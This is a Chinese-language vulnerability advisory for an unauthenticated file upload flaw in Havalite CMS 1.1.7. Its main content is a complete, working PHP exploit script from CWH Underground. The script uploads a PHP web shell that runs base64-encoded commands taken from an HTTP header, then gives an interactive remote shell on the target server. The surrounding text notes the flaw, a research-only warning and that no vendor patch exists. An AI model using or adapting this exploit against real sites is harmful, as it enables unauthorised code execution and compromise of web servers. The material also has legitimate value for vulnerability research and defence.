发布日期:2013-06-17
更新日期:2013-07-13受影响系统:
Havalite Havalite CMS 1.1.7
描述:
--------------------------------------------------------------------------------
Havalite 是一个开源轻量级CMS博客程序,基于PHP和SQLite开发。Havalite CMS的upload.php脚本没有正确验证或过滤用户上传的文件,如果攻击者在用户可访问的路径放置了文件,直接请求该文件可使用户以Web服务器权限执行脚本。<*来源:CWH Underground (www.citecclub.org)
链接:http://www.metasploit.com/modules/exploit/unix/webapp/havalite_upload_exec
http://www.osvdb.org/94405
*>测试方法:
--------------------------------------------------------------------------------警 告以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!<?php
/*
,--^----------,--------,-----,-------^--,
| ||||||||| `--------" | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / ` /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------"
Exploit Title : Havalite CMS Unrestricted File Upload Exploit
Date : 16 June 2013
Exploit Author : CWH Underground
Site : www.2600.in.th
Vendor Homepage : http://havalite.com/
Software Link : http://jaist.dl.sourceforge.net/project/havalite/havalite_1.1.7.zip
Version : 1.1.7
Tested on : Window and Linux
#####################################################
VULNERABILITY: Unrestricted File Upload
#####################################################
/havalite/upload.php
#####################################################
DESCRIPTION
#####################################################
Restricted access to this script isn"t properly realized (Don"t require authentication) ,
so an attacker might be able to upload arbitrary files containing malicious PHP code due to uploaded file
extension isn"t properly checked.
#####################################################
EXPLOIT
#####################################################
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die("
[-] No response from {$host}:80
");
fputs($sock, $packet);
return stream_get_contents($sock);
}
print "
+-----------------------------------------------+";
print "
| Havalite CMS Unrestricted File Upload Exploit |";
print "
+-----------------------------------------------+
";
if ($argc < 3)
{
print "
Usage......: php $argv[0] <host> <path>
";
print "
Example....: php $argv[0] localhost /";
print "
Example....: php $argv[0] localhost /havalite/
";
die();
}
$host = $argv[1];
$path = $argv[2];
$payload = "--o0oOo0o
";
$payload .= "Content-Disposition: form-data; name="files[]"; filename="sh.php"
";
$payload .= "Content-Type: application/octet-stream
";
$payload .= "<?php error_reporting(0); print(___); passthru(base64_decode($_SERVER[HTTP_CMD]));
";
$payload .= "--o0oOo0o--
";$packet = "POST {$path}havalite/upload.php HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Referee: {$host}{$path}havalite/hava_upload.php
";
$packet .= "Content-Length: ".strlen($payload)."
";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o
";
$packet .= "Connection: close
{$payload}";
http_send($host, $packet);
$packet = "GET {$path}/havalite/tmp/files/sh.php HTTP/1.0
";
$packet .= "Host: {$host}
";
$packet .= "Cmd: %s
";
$packet .= "Connection: close
";
while(1)
{
print "
Havalite-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match("/___(.*)/s", $response, $m) ? print $m[1] : die("
[-] Exploit failed!
");
}
?>建议:
--------------------------------------------------------------------------------
厂商补丁:Havalite
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:http://havalite.com/Squid “idnsALookup()” DNS名称处理缓冲区溢出漏洞Juniper Junos flowd拒绝服务漏洞(CVE-2013-4684)相关资讯 Havalite安全漏洞 Havalite 本文评论 查看全部评论 (0)
评论声明尊重网上道德,遵守中华人民共和国的各项有关法律法规 承担一切因您的行为而直接或间接导致的民事或刑事法律责任 本站管理人员有权保留或删除其管辖留言中的任意内容 本站有权在网站内转载或引用您的
收藏该网址